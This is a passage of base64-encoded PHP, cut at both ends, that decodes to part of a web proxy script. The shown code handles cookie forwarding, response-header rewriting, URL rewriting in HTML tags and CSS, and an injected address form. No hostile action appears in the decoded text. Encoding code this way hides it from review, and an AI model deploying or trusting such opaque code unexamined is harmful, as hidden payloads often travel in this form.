- aXJlcyk9JG1hdGNoO3ByZWdfbWF0Y2goJyM7XHMqcGF0aFxzKj1ccyooW147LFxzXSopI2knLCRj
- b29raWUsJG1hdGNoKSAmJiBsaXN0KCwkcGF0aCk9JG1hdGNoO3ByZWdfbWF0Y2goJyM7XHMqZG9t
- YWluXHMqPVxzKihbXjssXHNdKikjaScsJGNvb2tpZSwkbWF0Y2gpICYmIGxpc3QoLCRkb21haW4p
- PSRtYXRjaDtwcmVnX21hdGNoKCcjO1xzKihzZWN1cmVcYikjaScsJGNvb2tpZSwkbWF0Y2gpICYm
- IGxpc3QoLCRzZWN1cmUpPSRtYXRjaDskZXhwaXJlc190aW1lPWVtcHR5KCRleHBpcmVzKT8wOmlu
- dHZhbChAc3RydG90aW1lKCRleHBpcmVzKSk7JGV4cGlyZXM9KCRfZmxhZ3NbJ3Nlc3Npb25fY29v
- a2llcyddICYmICFlbXB0eSgkZXhwaXJlcykgJiYgdGltZSgpLSRleHBpcmVzX3RpbWU8MCk/Jyc6
- JGV4cGlyZXM7JHBhdGg9ZW1wdHkoJHBhdGgpPycvJzokcGF0aDtpZihlbXB0eSgkZG9tYWluKSl7
- JGRvbWFpbj0kX3VybF9wYXJ0c1snaG9zdCddO31lbHNleyRkb21haW49Jy4nLnN0cnRvbG93ZXIo
- c3RyX3JlcGxhY2UoJy4uJywnLicsdHJpbSgkZG9tYWluLCcuJykpKTtpZigoIXByZWdfbWF0Y2go
- JyNcUScuJGRvbWFpbi4nXEUkI2knLCRfdXJsX3BhcnRzWydob3N0J10pICYmICRkb21haW4gIT0g
- Jy4nLiRfdXJsX3BhcnRzWydob3N0J10pIHx8IChzdWJzdHJfY291bnQoJGRvbWFpbiwnLicpPDIg
- JiYgJGRvbWFpbnswfSA9PSAnLicpKXtjb250aW51ZTt9fWlmKGNvdW50KCRfQ09PS0lFKSA+PSAx
- NSAmJiB0aW1lKCktJGV4cGlyZXNfdGltZSA8PSAwKXskX3NldF9jb29raWVbXT1hZGRfY29va2ll
- KGN1cnJlbnQoJF9DT09LSUUpLCcnLDEpO30kX3NldF9jb29raWVbXT1hZGRfY29va2llKCJDT09L
- SUU7JG5hbWU7JHBhdGg7JGRvbWFpbiIsIiR2YWx1ZTskc2VjdXJlIiwkZXhwaXJlc190aW1lKTt9
- fWlmKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddKSl7dW5zZXQoJF9yZXNw
- b25zZV9oZWFkZXJzWydzZXQtY29va2llJ10sJF9yZXNwb25zZV9rZXlzWydzZXQtY29va2llJ10p
- O31pZighZW1wdHkoJF9zZXRfY29va2llKSl7JF9yZXNwb25zZV9rZXlzWydzZXQtY29va2llJ109
- J1NldC1Db29raWUnOyRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddPSRfc2V0X2Nvb2tp
- ZTt9aWYoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydwM3AnXSkgJiYgcHJlZ19tYXRjaCgnI3Bv
- bGljeXJlZlxzKj1ccypbXCciXT8oW15cJyJcc10qKVtcJyJdPyNpJywkX3Jlc3BvbnNlX2hlYWRl
- cnNbJ3AzcCddWzBdLCRtYXRjaGVzKSl7JF9yZXNwb25zZV9oZWFkZXJzWydwM3AnXVswXT1zdHJf
- cmVwbGFjZSgkbWF0Y2hlc1swXSwncG9saWN5cmVmPSInLmNvbXBsZXRlX3VybCgkbWF0Y2hlc1sx
- XSkuJyInLCRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0pO31pZihpc3NldCgkX3Jlc3BvbnNl
- X2hlYWRlcnNbJ3JlZnJlc2gnXSkgJiYgcHJlZ19tYXRjaCgnIyhbMC05XHNdKjtccypVUkxccyo9
- KVxzKihcUyopI2knLCRfcmVzcG9uc2VfaGVhZGVyc1sncmVmcmVzaCddWzBdLCRtYXRjaGVzKSl7
- JF9yZXNwb25zZV9oZWFkZXJzWydyZWZyZXNoJ11bMF09JG1hdGNoZXNbMV0uY29tcGxldGVfdXJs
- KCRtYXRjaGVzWzJdKTt9aWYoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydsb2NhdGlvbiddKSl7
- JF9yZXNwb25zZV9oZWFkZXJzWydsb2NhdGlvbiddWzBdPWNvbXBsZXRlX3VybCgkX3Jlc3BvbnNl
- X2hlYWRlcnNbJ2xvY2F0aW9uJ11bMF0pO31pZihpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3Vy
- aSddKSl7JF9yZXNwb25zZV9oZWFkZXJzWyd1cmknXVswXT1jb21wbGV0ZV91cmwoJF9yZXNwb25z
- ZV9oZWFkZXJzWyd1cmknXVswXSk7fWlmKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVu
- dC1sb2NhdGlvbiddKSl7JF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ11bMF09
- Y29tcGxldGVfdXJsKCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sb2NhdGlvbiddWzBdKTt9
- aWYoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb25uZWN0aW9uJ10pKXt1bnNldCgkX3Jlc3Bv
- bnNlX2hlYWRlcnNbJ2Nvbm5lY3Rpb24nXSwkX3Jlc3BvbnNlX2tleXNbJ2Nvbm5lY3Rpb24nXSk7
- fWlmKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sna2VlcC1hbGl2ZSddKSl7dW5zZXQoJF9yZXNw
- b25zZV9oZWFkZXJzWydrZWVwLWFsaXZlJ10sJF9yZXNwb25zZV9rZXlzWydrZWVwLWFsaXZlJ10p
- O31pZigkX3Jlc3BvbnNlX2NvZGUgPT0gNDAxICYmIGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sn
- d3d3LWF1dGhlbnRpY2F0ZSddKSAmJiBwcmVnX21hdGNoKCcjYmFzaWNccysoPzpyZWFsbT0iKC4q
- PykiKT8jaScsJF9yZXNwb25zZV9oZWFkZXJzWyd3d3ctYXV0aGVudGljYXRlJ11bMF0sJG1hdGNo
- ZXMpKXtpZihpc3NldCgkX2F1dGhfY3JlZHNbJG1hdGNoZXNbMV1dKSAmJiAhJF9xdWl0KXskX2Jh
- c2ljX2F1dGhfcmVhbG09JG1hdGNoZXNbMV07JF9iYXNpY19hdXRoX2hlYWRlcj0nJzskX3JldHJ5
- PSRfcXVpdD10cnVlO31lbHNle3Nob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2luZGV4Jywn
- Y2F0ZWdvcnknID0+ICdhdXRoJywncmVhbG0nID0+ICRtYXRjaGVzWzFdKSk7fX19d2hpbGUoJF9y
- ZXRyeSk7aWYoIWlzc2V0KCRfcHJveGlmeVskX2NvbnRlbnRfdHlwZV0pKXtAc2V0X3RpbWVfbGlt
- aXQoMCk7JF9yZXNwb25zZV9rZXlzWydjb250ZW50LWRpc3Bvc2l0aW9uJ109J0NvbnRlbnQtRGlz
- cG9zaXRpb24nOyRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1kaXNwb3NpdGlvbiddWzBdPWVt
- cHR5KCRfY29udGVudF9kaXNwKT8oJF9jb250ZW50X3R5cGUgPT0gJ2FwcGxpY2F0aW9uL29jdGV0
- X3N0cmVhbSc/J2F0dGFjaG1lbnQnOidpbmxpbmUnKS4nOyBmaWxlbmFtZT0iJy4kX3VybF9wYXJ0
- c1snZmlsZSddLiciJzokX2NvbnRlbnRfZGlzcDtpZigkX2NvbnRlbnRfbGVuZ3RoICE9PSBmYWxz
- ZSl7aWYoJF9jb25maWdbJ21heF9maWxlX3NpemUnXSAhPSAtMSAmJiAkX2NvbnRlbnRfbGVuZ3Ro
- PiRfY29uZmlnWydtYXhfZmlsZV9zaXplJ10pe3Nob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4g
- J2luZGV4JywnY2F0ZWdvcnknID0+ICdlcnJvcicsJ2dyb3VwJyA9PiAncmVzb3VyY2UnLCd0eXBl
- JyA9PiAnZmlsZV9zaXplJykpO30kX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtbGVuZ3RoJ109J0Nv
- bnRlbnQtTGVuZ3RoJzskX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF09JF9j
- b250ZW50X2xlbmd0aDt9JF9yZXNwb25zZV9oZWFkZXJzPWFycmF5X2ZpbHRlcigkX3Jlc3BvbnNl
- X2hlYWRlcnMpOyRfcmVzcG9uc2Vfa2V5cz1hcnJheV9maWx0ZXIoJF9yZXNwb25zZV9rZXlzKTto
- ZWFkZXIoYXJyYXlfc2hpZnQoJF9yZXNwb25zZV9rZXlzKSk7YXJyYXlfc2hpZnQoJF9yZXNwb25z
- ZV9oZWFkZXJzKTtmb3JlYWNoKCRfcmVzcG9uc2VfaGVhZGVycyBhcyAkbmFtZSA9PiAkYXJyYXkp
- e2ZvcmVhY2goJGFycmF5IGFzICR2YWx1ZSl7aGVhZGVyKCRfcmVzcG9uc2Vfa2V5c1skbmFtZV0u
- JzogJy4kdmFsdWUsZmFsc2UpO319ZG97JGRhdGE9ZnJlYWQoJF9zb2NrZXQsODE5Mik7ZWNobyAk
- ZGF0YTt9d2hpbGUoaXNzZXQoJGRhdGF7MH0pKTtmY2xvc2UoJF9zb2NrZXQpO2V4aXQoMCk7fWRv
- eyRkYXRhPUBmcmVhZCgkX3NvY2tldCw4MTkyKTskX3Jlc3BvbnNlX2JvZHkgLj0gJGRhdGE7fXdo
- aWxlKGlzc2V0KCRkYXRhezB9KSk7dW5zZXQoJGRhdGEpO2ZjbG9zZSgkX3NvY2tldCk7aWYoJF9j
- b250ZW50X3R5cGUgPT0gJ3RleHQvY3NzJyl7JF9yZXNwb25zZV9ib2R5PXByb3hpZnlfY3NzKCRf
- cmVzcG9uc2VfYm9keSk7fWVsc2V7aWYoJF9mbGFnc1snc3RyaXBfdGl0bGUnXSl7JF9yZXNwb25z
- ZV9ib2R5PXByZWdfcmVwbGFjZSgnIyg8XHMqdGl0bGVbXj5dKj4pKC4qPykoPFxzKi90aXRsZVte
- Pl0qPikjaXMnLCckMSQzJywkX3Jlc3BvbnNlX2JvZHkpO31pZigkX2ZsYWdzWydyZW1vdmVfc2Ny
- aXB0cyddKXskX3Jlc3BvbnNlX2JvZHk9cHJlZ19yZXBsYWNlKCcjPFxzKnNjcmlwdFtePl0qPz4u
- Kj88XHMqL1xzKnNjcmlwdFxzKj4jc2knLCcnLCRfcmVzcG9uc2VfYm9keSk7JF9yZXNwb25zZV9i
- b2R5PXByZWdfcmVwbGFjZSgiIyhcYm9uW2Etel0rKVxzKj1ccyooPzpcIihbXlwiXSopXCI/fCco
- W14nXSopJz98KFteJ1wiXHM+XSopKT8jaSIsJycsJF9yZXNwb25zZV9ib2R5KTskX3Jlc3BvbnNl
- X2JvZHk9cHJlZ19yZXBsYWNlKCcjPG5vc2NyaXB0PiguKj8pPC9ub3NjcmlwdD4jc2knLCIkMSIs
- JF9yZXNwb25zZV9ib2R5KTt9aWYoISRfZmxhZ3NbJ3Nob3dfaW1hZ2VzJ10peyRfcmVzcG9uc2Vf
- Ym9keT1wcmVnX3JlcGxhY2UoJyM8KGltZ3xpbWFnZSlbXj5dKj8+I3NpJywnJywkX3Jlc3BvbnNl
- X2JvZHkpO30kdGFncz1hcnJheSgnYScgPT4gYXJyYXkoJ2hyZWYnKSwnaW1nJyA9PiBhcnJheSgn
- c3JjJywnbG9uZ2Rlc2MnKSwnaW1hZ2UnID0+IGFycmF5KCdzcmMnLCdsb25nZGVzYycpLCdib2R5
- JyA9PiBhcnJheSgnYmFja2dyb3VuZCcpLCdiYXNlJyA9PiBhcnJheSgnaHJlZicpLCdmcmFtZScg
- PT4gYXJyYXkoJ3NyYycsJ2xvbmdkZXNjJyksJ2lmcmFtZScgPT4gYXJyYXkoJ3NyYycsJ2xvbmdk
- ZXNjJyksJ2hlYWQnID0+IGFycmF5KCdwcm9maWxlJyksJ2xheWVyJyA9PiBhcnJheSgnc3JjJyks
- J2lucHV0JyA9PiBhcnJheSgnc3JjJywndXNlbWFwJyksJ2Zvcm0nID0+IGFycmF5KCdhY3Rpb24n
- KSwnYXJlYScgPT4gYXJyYXkoJ2hyZWYnKSwnbGluaycgPT4gYXJyYXkoJ2hyZWYnLCdzcmMnLCd1
- cm4nKSwnbWV0YScgPT4gYXJyYXkoJ2NvbnRlbnQnKSwncGFyYW0nID0+IGFycmF5KCd2YWx1ZScp
- LCdhcHBsZXQnID0+IGFycmF5KCdjb2RlYmFzZScsJ2NvZGUnLCdvYmplY3QnLCdhcmNoaXZlJyks
- J29iamVjdCcgPT4gYXJyYXkoJ3VzZXJtYXAnLCdjb2RlYmFzZScsJ2NsYXNzaWQnLCdhcmNoaXZl
- JywnZGF0YScpLCdzY3JpcHQnID0+IGFycmF5KCdzcmMnKSwnc2VsZWN0JyA9PiBhcnJheSgnc3Jj
- JyksJ2hyJyA9PiBhcnJheSgnc3JjJyksJ3RhYmxlJyA9PiBhcnJheSgnYmFja2dyb3VuZCcpLCd0
- cicgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwndGgnID0+IGFycmF5KCdiYWNrZ3JvdW5kJyksJ3Rk
- JyA9PiBhcnJheSgnYmFja2dyb3VuZCcpLCdiZ3NvdW5kJyA9PiBhcnJheSgnc3JjJyksJ2Jsb2Nr
- cXVvdGUnID0+IGFycmF5KCdjaXRlJyksJ2RlbCcgPT4gYXJyYXkoJ2NpdGUnKSwnZW1iZWQnID0+
- IGFycmF5KCdzcmMnKSwnZmlnJyA9PiBhcnJheSgnc3JjJywnaW1hZ2VtYXAnKSwnaWxheWVyJyA9
- PiBhcnJheSgnc3JjJyksJ2lucycgPT4gYXJyYXkoJ2NpdGUnKSwnbm90ZScgPT4gYXJyYXkoJ3Ny
- YycpLCdvdmVybGF5JyA9PiBhcnJheSgnc3JjJywnaW1hZ2VtYXAnKSwncScgPT4gYXJyYXkoJ2Np
- dGUnKSwndWwnID0+IGFycmF5KCdzcmMnKSk7cHJlZ19tYXRjaF9hbGwoJyMoPFxzKnN0eWxlW14+
- XSo+KSguKj8pKDxccyovXHMqc3R5bGVbXj5dKj4pI2lzJywkX3Jlc3BvbnNlX2JvZHksJG1hdGNo
- ZXMsUFJFR19TRVRfT1JERVIpO2ZvcigkaT0wLCRjb3VudF9pPWNvdW50KCRtYXRjaGVzKTskaTwk
- Y291bnRfaTsrKyRpKXskX3Jlc3BvbnNlX2JvZHk9c3RyX3JlcGxhY2UoJG1hdGNoZXNbJGldWzBd
- LCRtYXRjaGVzWyRpXVsxXS5wcm94aWZ5X2NzcygkbWF0Y2hlc1skaV1bMl0pLiRtYXRjaGVzWyRp
- XVszXSwkX3Jlc3BvbnNlX2JvZHkpO31wcmVnX21hdGNoX2FsbCgiIzxccyooW2EtekEtWlw/LV0r
- KShbXj5dKyk+I1MiLCRfcmVzcG9uc2VfYm9keSwkbWF0Y2hlcyk7Zm9yKCRpPTAsJGNvdW50X2k9
- Y291bnQoJG1hdGNoZXNbMF0pOyRpPCRjb3VudF9pOysrJGkpe2lmKCFwcmVnX21hdGNoX2FsbCgi
- IyhbYS16QS1aXC1cL10rKVxzKig/Oj1ccyooPzpcIihbXlwiPl0qKVwiP3wnKFteJz5dKiknP3wo
- W14nXCJcc10qKSkpPyNTIiwkbWF0Y2hlc1syXVskaV0sJG0sUFJFR19TRVRfT1JERVIpKXtjb250
- aW51ZTt9JHJlYnVpbGQ9ZmFsc2U7JGV4dHJhX2h0bWw9JHRlbXA9Jyc7JGF0dHJzPWFycmF5KCk7
- Zm9yKCRqPTAsJGNvdW50X2o9Y291bnQoJG0pOyRqPCRjb3VudF9qOyRhdHRyc1tzdHJ0b2xvd2Vy
- KCRtWyRqXVsxXSldPShpc3NldCgkbVskal1bNF0pPyRtWyRqXVs0XTooaXNzZXQoJG1bJGpdWzNd
- KT8kbVskal1bM106KGlzc2V0KCRtWyRqXVsyXSk/JG1bJGpdWzJdOmZhbHNlKSkpLCsrJGopO2lm
- KGlzc2V0KCRhdHRyc1snc3R5bGUnXSkpeyRyZWJ1aWxkPXRydWU7JGF0dHJzWydzdHlsZSddPXBy
- b3hpZnlfaW5saW5lX2NzcygkYXR0cnNbJ3N0eWxlJ10pO30kdGFnPXN0cnRvbG93ZXIoJG1hdGNo
- ZXNbMV1bJGldKTtpZihpc3NldCgkdGFnc1skdGFnXSkpe3N3aXRjaCgkdGFnKXtjYXNlICdhJzpp
- Zihpc3NldCgkYXR0cnNbJ2hyZWYnXSkpeyRyZWJ1aWxkPXRydWU7JGF0dHJzWydocmVmJ109Y29t
- cGxldGVfdXJsKCRhdHRyc1snaHJlZiddKTt9YnJlYWs7Y2FzZSAnaW1nJzppZihpc3NldCgkYXR0
- cnNbJ3NyYyddKSl7JHJlYnVpbGQ9dHJ1ZTskYXR0cnNbJ3NyYyddPWNvbXBsZXRlX3VybCgkYXR0
- cnNbJ3NyYyddKTt9aWYoaXNzZXQoJGF0dHJzWydsb25nZGVzYyddKSl7JHJlYnVpbGQ9dHJ1ZTsk
- YXR0cnNbJ2xvbmdkZXNjJ109Y29tcGxldGVfdXJsKCRhdHRyc1snbG9uZ2Rlc2MnXSk7fWJyZWFr
- O2Nhc2UgJ2Zvcm0nOmlmKGlzc2V0KCRhdHRyc1snYWN0aW9uJ10pKXskcmVidWlsZD10cnVlO2lm
- KHRyaW0oJGF0dHJzWydhY3Rpb24nXSkgPT09ICcnKXskYXR0cnNbJ2FjdGlvbiddPSRfdXJsX3Bh
- cnRzWydwYXRoJ107fWlmKCFpc3NldCgkYXR0cnNbJ21ldGhvZCddKSB8fCBzdHJ0b2xvd2VyKHRy
- aW0oJGF0dHJzWydtZXRob2QnXSkpID09PSAnZ2V0Jyl7JGV4dHJhX2h0bWw9JzxpbnB1dCB0eXBl
- PSJoaWRkZW4iIG5hbWU9IicuJF9jb25maWdbJ2dldF9mb3JtX25hbWUnXS4nIiB2YWx1ZT0iJy5l
- bmNvZGVfdXJsKGNvbXBsZXRlX3VybCgkYXR0cnNbJ2FjdGlvbiddLGZhbHNlKSkuJyIgLz4nOyRh
- dHRyc1snYWN0aW9uJ109Jyc7YnJlYWs7fSRhdHRyc1snYWN0aW9uJ109Y29tcGxldGVfdXJsKCRh
- dHRyc1snYWN0aW9uJ10pO31icmVhaztjYXNlICdiYXNlJzppZihpc3NldCgkYXR0cnNbJ2hyZWYn
- XSkpeyRyZWJ1aWxkPXRydWU7dXJsX3BhcnNlKCRhdHRyc1snaHJlZiddLCRfYmFzZSk7JGF0dHJz
- WydocmVmJ109Y29tcGxldGVfdXJsKCRhdHRyc1snaHJlZiddKTt9YnJlYWs7Y2FzZSAnbWV0YSc6
- aWYoJF9mbGFnc1snc3RyaXBfbWV0YSddICYmIGlzc2V0KCRhdHRyc1snbmFtZSddKSl7JF9yZXNw
- b25zZV9ib2R5PXN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdWyRpXSwnJywkX3Jlc3BvbnNlX2JvZHkp
- O31pZihpc3NldCgkYXR0cnNbJ2h0dHAtZXF1aXYnXSwkYXR0cnNbJ2NvbnRlbnQnXSkgJiYgcHJl
- Z19tYXRjaCgnI1xzKnJlZnJlc2hccyojaScsJGF0dHJzWydodHRwLWVxdWl2J10pKXtpZihwcmVn
- X21hdGNoKCcjXihccypbMC05XSpccyo7XHMqdXJsPSkoLiopI2knLCRhdHRyc1snY29udGVudCdd
- LCRjb250ZW50KSl7JHJlYnVpbGQ9dHJ1ZTskYXR0cnNbJ2NvbnRlbnQnXT0kY29udGVudFsxXS5j
- b21wbGV0ZV91cmwodHJpbSgkY29udGVudFsyXSwnIlwnJykpO319YnJlYWs7Y2FzZSAnaGVhZCc6
- aWYoaXNzZXQoJGF0dHJzWydwcm9maWxlJ10pKXskcmVidWlsZD10cnVlOyRhdHRyc1sncHJvZmls
- ZSddPWltcGxvZGUoJyAnLGFycmF5X21hcCgnY29tcGxldGVfdXJsJyxleHBsb2RlKCcgJywkYXR0
- cnNbJ3Byb2ZpbGUnXSkpKTt9YnJlYWs7Y2FzZSAnYXBwbGV0JzppZihpc3NldCgkYXR0cnNbJ2Nv
- ZGViYXNlJ10pKXskcmVidWlsZD10cnVlOyR0ZW1wPSRfYmFzZTt1cmxfcGFyc2UoY29tcGxldGVf
- dXJsKHJ0cmltKCRhdHRyc1snY29kZWJhc2UnXSwnLycpLicvJyxmYWxzZSksJF9iYXNlKTt1bnNl
- dCgkYXR0cnNbJ2NvZGViYXNlJ10pO31pZihpc3NldCgkYXR0cnNbJ2NvZGUnXSkgJiYgc3RycG9z
- KCRhdHRyc1snY29kZSddLCcvJykgIT09IGZhbHNlKXskcmVidWlsZD10cnVlOyRhdHRyc1snY29k
- ZSddPWNvbXBsZXRlX3VybCgkYXR0cnNbJ2NvZGUnXSk7fWlmKGlzc2V0KCRhdHRyc1snb2JqZWN0
- J10pKXskcmVidWlsZD10cnVlOyRhdHRyc1snb2JqZWN0J109Y29tcGxldGVfdXJsKCRhdHRyc1sn
- b2JqZWN0J10pO31pZihpc3NldCgkYXR0cnNbJ2FyY2hpdmUnXSkpeyRyZWJ1aWxkPXRydWU7JGF0
- dHJzWydhcmNoaXZlJ109aW1wbG9kZSgnLCcsYXJyYXlfbWFwKCdjb21wbGV0ZV91cmwnLHByZWdf
- c3BsaXQoJyNccyosXHMqIycsJGF0dHJzWydhcmNoaXZlJ10pKSk7fWlmKCFlbXB0eSgkdGVtcCkp
- eyRfYmFzZT0kdGVtcDt9YnJlYWs7Y2FzZSAnb2JqZWN0JzppZihpc3NldCgkYXR0cnNbJ3VzZW1h
- cCddKSl7JHJlYnVpbGQ9dHJ1ZTskYXR0cnNbJ3VzZW1hcCddPWNvbXBsZXRlX3VybCgkYXR0cnNb
- J3VzZW1hcCddKTt9aWYoaXNzZXQoJGF0dHJzWydjb2RlYmFzZSddKSl7JHJlYnVpbGQ9dHJ1ZTsk
- dGVtcD0kX2Jhc2U7dXJsX3BhcnNlKGNvbXBsZXRlX3VybChydHJpbSgkYXR0cnNbJ2NvZGViYXNl
- J10sJy8nKS4nLycsZmFsc2UpLCRfYmFzZSk7dW5zZXQoJGF0dHJzWydjb2RlYmFzZSddKTt9aWYo
- aXNzZXQoJGF0dHJzWydkYXRhJ10pKXskcmVidWlsZD10cnVlOyRhdHRyc1snZGF0YSddPWNvbXBs
- ZXRlX3VybCgkYXR0cnNbJ2RhdGEnXSk7fWlmKGlzc2V0KCRhdHRyc1snY2xhc3NpZCddKSAmJiAh
- cHJlZ19tYXRjaCgnI15jbHNpZDojaScsJGF0dHJzWydjbGFzc2lkJ10pKXskcmVidWlsZD10cnVl
- OyRhdHRyc1snY2xhc3NpZCddPWNvbXBsZXRlX3VybCgkYXR0cnNbJ2NsYXNzaWQnXSk7fWlmKGlz
- c2V0KCRhdHRyc1snYXJjaGl2ZSddKSl7JHJlYnVpbGQ9dHJ1ZTskYXR0cnNbJ2FyY2hpdmUnXT1p
- bXBsb2RlKCcgJyxhcnJheV9tYXAoJ2NvbXBsZXRlX3VybCcsZXhwbG9kZSgnICcsJGF0dHJzWydh
- cmNoaXZlJ10pKSk7fWlmKCFlbXB0eSgkdGVtcCkpeyRfYmFzZT0kdGVtcDt9YnJlYWs7Y2FzZSAn
- cGFyYW0nOmlmKGlzc2V0KCRhdHRyc1sndmFsdWV0eXBlJ10sJGF0dHJzWyd2YWx1ZSddKSAmJiBz
- dHJ0b2xvd2VyKCRhdHRyc1sndmFsdWV0eXBlJ10pID09ICdyZWYnICYmIHByZWdfbWF0Y2goJyNe
- W1x3ListXSs6Ly8jJywkYXR0cnNbJ3ZhbHVlJ10pKXskcmVidWlsZD10cnVlOyRhdHRyc1sndmFs
- dWUnXT1jb21wbGV0ZV91cmwoJGF0dHJzWyd2YWx1ZSddKTt9YnJlYWs7Y2FzZSAnZnJhbWUnOmNh
- c2UgJ2lmcmFtZSc6aWYoaXNzZXQoJGF0dHJzWydzcmMnXSkpeyRyZWJ1aWxkPXRydWU7JGF0dHJz
- WydzcmMnXT1jb21wbGV0ZV91cmwoJGF0dHJzWydzcmMnXSkuJyZuZj0xJzt9aWYoaXNzZXQoJGF0
- dHJzWydsb25nZGVzYyddKSl7JHJlYnVpbGQ9dHJ1ZTskYXR0cnNbJ2xvbmdkZXNjJ109Y29tcGxl
- dGVfdXJsKCRhdHRyc1snbG9uZ2Rlc2MnXSk7fWJyZWFrO2RlZmF1bHQ6Zm9yZWFjaCgkdGFnc1sk
- dGFnXSBhcyAkYXR0cil7aWYoaXNzZXQoJGF0dHJzWyRhdHRyXSkpeyRyZWJ1aWxkPXRydWU7JGF0
- dHJzWyRhdHRyXT1jb21wbGV0ZV91cmwoJGF0dHJzWyRhdHRyXSk7fX1icmVhazt9fWlmKCRyZWJ1
- aWxkKXskbmV3X3RhZz0iPCR0YWciO2ZvcmVhY2goJGF0dHJzIGFzICRuYW1lID0+ICR2YWx1ZSl7
- JGRlbGltPXN0cnBvcygkdmFsdWUsJyInKSAmJiAhc3RycG9zKCR2YWx1ZSwiJyIpPyInIjonIic7
- JG5ld190YWcgLj0gJyAnLiRuYW1lLigkdmFsdWUgIT09IGZhbHNlPyc9Jy4kZGVsaW0uJHZhbHVl
- LiRkZWxpbTonJyk7fSRfcmVzcG9uc2VfYm9keT1zdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0s
- JG5ld190YWcuJz4nLiRleHRyYV9odG1sLCRfcmVzcG9uc2VfYm9keSk7fX1pZigkX2ZsYWdzWydp
- bmNsdWRlX2Zvcm0nXSAmJiAhaXNzZXQoJF9HRVRbJ25mJ10pKXskX3VybF9mb3JtPSc8ZGl2IHN0
- eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1ib3R0b206
- MXB4IHNvbGlkICM3MjU1NTQ7Y29sb3I6IzAwMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOiNGMkZERjM7
- cGFkZGluZzo0cHg7Ij4nLic8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kX3NjcmlwdF91
- cmwuJyI+Jy4nIDxsYWJlbCBmb3I9Il9fX18nLiRfY29uZmlnWyd1cmxfdmFyX25hbWUnXS4nIj48
- YSBocmVmPSInLiRfdXJsLiciPkFkZHJlc3M8L2E+OjwvbGFiZWw+IDxpbnB1dCBpZD0iX19fXycu
- JF9jb25maWdbJ3VybF92YXJfbmFtZSddLiciIHR5cGU9InRleHQiIHNpemU9IjgwIiBuYW1lPSIn
- LiRfY29uZmlnWyd1cmxfdmFyX25hbWUnXS4nIiB2YWx1ZT0iJy4kX3VybC4nIiAvPicuJyA8aW5w
- dXQgdHlwZT0ic3VibWl0IiBuYW1lPSJnbyIgdmFsdWU9IkdvIiAvPicuJyBbZ286IDxhIGhyZWY9
- IicuJF9zY3JpcHRfdXJsLic/Jy4kX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10uJz0nLmVuY29kZV91
- cmwoJF91cmxfcGFydHNbJ3ByZXZfZGlyJ10pLicgIj51cCBvbmUgZGlyPC9hPiwgPGEgaHJlZj0i
- Jy4kX1NFUlZFUlsnUEhQX1NFTEYnXS4nIj5tYWluIHBhZ2U8L2E+XScuJzxiciAvPjxociAvPic7
- Zm9yZWFjaCgkX2ZsYWdzIGFzICRmbGFnX25hbWUgPT4gJGZsYWdfdmFsdWUpe2lmKCEkX2Zyb3pl
- bl9mbGFnc1skZmxhZ19uYW1lXSl7JF91cmxfZm9ybSAuPSAnPGxhYmVsPjxpbnB1dCB0eXBlPSJj
- aGVja2JveCIgbmFtZT0iJy4kX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXS4nWycuJGZsYWdfbmFt
- ZS4nXSInLigkZmxhZ192YWx1ZT8nIGNoZWNrZWQ9ImNoZWNrZWQiJzonJykuJyAvPiAnLiRfbGFi
- ZWxzWyRmbGFnX25hbWVdWzBdLic8L2xhYmVsPiAnO319JF91cmxfZm9ybSAuPSAnPC9mb3JtPjwv
- ZGl2Pic7JF9yZXNwb25zZV9ib2R5PXByZWdfcmVwbGFjZSgnI1w8XHMqYm9keSguKj8pXD4jc2kn
- LCIkMFxuJF91cmxfZm9ybSIsJF9yZXNwb25zZV9ib2R5LDEpO319JF9yZXNwb25zZV9rZXlzWydj
- b250ZW50LWRpc3Bvc2l0aW9uJ109J0NvbnRlbnQtRGlzcG9zaXRpb24nOyRfcmVzcG9uc2VfaGVh
- ZGVyc1snY29udGVudC1kaXNwb3NpdGlvbiddWzBdPWVtcHR5KCRfY29udGVudF9kaXNwKT8oJF9j
- b250ZW50X3R5cGUgPT0gJ2FwcGxpY2F0aW9uL29jdGV0X3N0cmVhbSc/J2F0dGFjaG1lbnQnOidp
- bmxpbmUnKS4nOyBmaWxlbmFtZT0iJy4kX3VybF9wYXJ0c1snZmlsZSddLiciJzokX2NvbnRlbnRf
- ZGlzcDskX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtbGVuZ3RoJ109J0NvbnRlbnQtTGVuZ3RoJzsk
- X3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF09c3RybGVuKCRfcmVzcG9uc2Vf
- Ym9keSk7JF9yZXNwb25zZV9oZWFkZXJzPWFycmF5X2ZpbHRlcigkX3Jlc3BvbnNlX2hlYWRlcnMp
- OyRfcmVzcG9uc2Vfa2V5cz1hcnJheV9maWx0ZXIoJF9yZXNwb25zZV9rZXlzKTtoZWFkZXIoYXJy
